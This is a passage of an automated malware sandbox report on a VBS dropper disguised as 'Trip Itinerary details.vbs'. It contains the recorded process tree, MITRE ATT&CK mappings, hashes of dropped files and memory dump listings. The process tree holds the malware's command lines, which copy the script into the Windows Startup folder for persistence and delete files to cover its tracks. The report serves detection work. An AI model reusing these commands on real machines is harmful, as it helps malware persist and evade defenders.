      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4240
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:3736
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5400
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3568
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5360
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:2940
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:3716
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4188
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:6128
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    PID:1936
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:3052
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:6072
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    PID:5648
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1628
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4136
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:1188
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:1728
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4588
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2592
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:976
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:4836
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:4720
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4176
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3892
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:948
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:1836
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:4800
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4924
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:3960
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2848
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:3668
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:5676
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2376
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:3028
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4164
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6132
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:1752
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3476
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4656
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:3432
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:2700
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:1244
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:6096
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5476
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    PID:3956
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:4584
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:1312
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    PID:4952
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4376
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4996
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:5340
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:672
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    PID:4764
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:2028
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    PID:1756
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:4688
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:4788
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:496
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5504
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    PID:3060
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:5728
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:5000
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1804
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5372
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4392
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:4000
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:768
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:4564
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4308
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5132
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2332
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:4532
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:5272
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4600
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    PID:3164
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4636
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:1028
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    PID:2132
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      Runs ping.exe
      PID:5800
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:2292
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:796
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:1616
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:1992
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:6088
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    PID:220
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:4616
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c del "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs"
    3⤵
    PID:1952
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n 1 & copy "C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Trip Itinerary details.vbs"
    3⤵
    PID:5932
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n 1
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4260
- - C:\Windows\SYSTEM32\cmd.exe
    cmd.exe /c ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs & del "1"
    3⤵
    PID:2780
  - - C:\Windows\system32\PING.EXE
      ping 127.0.0.1 -n C:\Users\Admin\AppData\Local\Temp\Trip Itinerary details.vbs
      4⤵
      Runs ping.exe
      PID:3524

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Remote System Discovery

T1018

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

server.txt

Path C:\Users\Admin\AppData\LocalLow\LocalLow Windows\Program Rules\Program Rules NVIDEO\Program Rules\Program Rules NVIDEO\server.txt
Size 463B
SHA256 195a932730368ed1468830ccd7f76d5b121dcc622c10b4d6a53e8f247bd1b2c3
MD5 4863e5989a2111d76f5b7a5091c95cf0
SHA1 11f45cbd085eba03cfc51de880ca99fef4b2c377
SHA512 98576f532682233ad5a80f6924280ca733277a85f50df03111e5c20da0da8408de3f0e089b497b7c6292024abe3bf8277512140babab203b816b2a2749aac98d
TLSH
T1C5F05C7A700B9A4F042604E1515BCD48D2A4C65073BA7CF2A0EACE05F763044DAF0751
MD5 SHA1 SHA512 TLSH

Submit Download

ModuleAnalysisCache

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
Size 61KB
SHA256 d2798df470a71073e616ff54e7db24c40635f07c15fdacc463c3e8c931e1a341
MD5 aaed13863ab38600c24e5ed7f18f0a28
SHA1 9ca5a8ead7bc29f4af3c7b52ae55df020443370b
SHA512 3d3cc08572a2db6e30dd0501ce19595f920ff1cfdd4611680665bceae3aac8e7c228b593ba067c0fd53986115d4ca80340bb434d3dc91bf7ad3e773580e1a2f1
SSDEEP 1536:KflJd+h4iUxTYkzvHgfKQaUpeE711kDa5ljNC+jH0IMjMXYo3BV3CNBQkj2zMrxM:KflJd+qiUTYkzvHgfKQaUpeE711kDa5L
TLSH
T1B9538392E9204E75E2E65F3EF15622627D30394690F8113211DC25EFA9879930B1FBFE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_bntxawu1.eoi.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bntxawu1.eoi.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

ffrct_01.ps1

Path C:\Users\Public\ffrct_01.ps1
Size 1KB
SHA256 07fec91f97b1ad84dced3798f572887242657b9900f81e12adfd0a13404b0ef3
MD5 ced8b0d0228b6084c4c842c3989d22b3
SHA1 3b0f1a9d78c0f3cca5d9d9c80c0f75cd3f468cda
SHA512 72cae8f145a8f8223060239be08a74db86a8c94e3689d2846cfbbe622f55dd9b0daeecf057778346761949785a4f3e815bd082132bc65bc64c2e6774a0c804cb
TLSH
T11B3178506AF95608B6B36E04BAFFA592887B7A7D9D39CB4D0000C04E17B1A44CC6BF33
MD5 SHA1 SHA512 TLSH

Submit Download

jfvhl.txt

Path C:\Users\Public\jfvhl.txt
Size 2.1MB
SHA256 184e1a7e02f6cbd26cde371e45816ed0ed85c74dd062cdfb3b2588f8dda74301
MD5 71494b2eaa581e5628eb4a8b00b7ebae
SHA1 7c2a6659913231cec2fa33551d82068fc30332c0
SHA512 fd02e3b1b4fee54bc8b57a3c58a58855036cf7d323f438d673738b71a5680a319adb6078f8f2f7fefdbd930a560b1508994612587b4619bb4b61ff6cd4fddbb1
SSDEEP 3072:L+xnh/MD87BLXGR32YAMvpqGW+AgtvYXaWd2gIyfTdCOB7rdwNTwNoiqaxdf0+ny:Z
TLSH
T1BFA5FF3EDFEC462FC277CD2EC9CA4A03F8590927320DE94664D763A75526183BCA216D
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

vhsvg.txt

Path \??\c:\users\public\vhsvg.txt
Size 123B
SHA256 8862bfb6ad204f8507959343e7dc828e6cb4a6495e96ef5feeb67784ffd375bf
MD5 6fddde581790abfe7448594bf0473ede
SHA1 0f76dbf907ef097c05bc1582c857d642febe2352
SHA512 4f5b4d155a0d8d862a9882c166f0258ef27cae3a532af3615217f4513251de262b68b9d282e3f0828db344ec1850532a2e0f081c26fe15603ce9abf74a1000a0
TLSH
T1B8B022C22308B0B82B0A28A0A2C8E02880CA00C222F0C0C02B00C3AFBC00A80030038E
MD5 SHA1 SHA512 TLSH

Submit Download

memory/660-10-0x0000022FA5980000-0x0000022FA5990000-memory.dmp

Download

memory/660-2-0x0000022FA5930000-0x0000022FA5952000-memory.dmp

Download

memory/660-9-0x0000022FA5980000-0x0000022FA5990000-memory.dmp

Download

memory/660-11-0x0000022FA5980000-0x0000022FA5990000-memory.dmp

Download

memory/660-0-0x0000022FA5980000-0x0000022FA5990000-memory.dmp

Download

memory/660-14-0x0000022FA5980000-0x0000022FA5990000-memory.dmp

Download

memory/660-1-0x0000022FA5980000-0x0000022FA5990000-memory.dmp

Download

memory/1824-1606-0x000001EC65700000-0x000001EC6570A000-memory.dmp

Download

memory/1824-1605-0x000001EC656B0000-0x000001EC656B6000-memory.dmp

Download

memory/1824-1604-0x000001EC656A0000-0x000001EC656A8000-memory.dmp

Download

memory/1824-1602-0x000001EC656E0000-0x000001EC656FA000-memory.dmp

Download

memory/1824-1601-0x000001EC65430000-0x000001EC6543A000-memory.dmp

Download

memory/1824-1600-0x000001EC656C0000-0x000001EC656DC000-memory.dmp

Download

memory/1824-1599-0x000001EC65340000-0x000001EC6534A000-memory.dmp

Download

memory/1824-1598-0x000001EC65370000-0x000001EC65423000-memory.dmp

Download

memory/1824-1597-0x000001EC65350000-0x000001EC6536C000-memory.dmp

Download

memory/3880-91-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-63-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-133-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-131-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-129-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-127-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-125-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-121-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-119-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-117-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-115-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-113-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-111-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-109-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-107-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-105-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-103-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-101-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-99-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-97-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-95-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-93-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-137-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-89-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-87-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-83-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-81-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-79-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-78-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-75-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-73-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-71-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-69-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-67-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-65-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-135-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-61-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-59-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-57-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-55-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-53-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-51-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-49-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-47-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-43-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-41-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-151-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-39-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-145-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-139-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-37-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-123-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-35-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-85-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-33-0x0000015045600000-0x000001504565F000-memory.dmp

Download

memory/3880-31-0x0000015045600000-0x000001504565F000-memory.dmp

Download

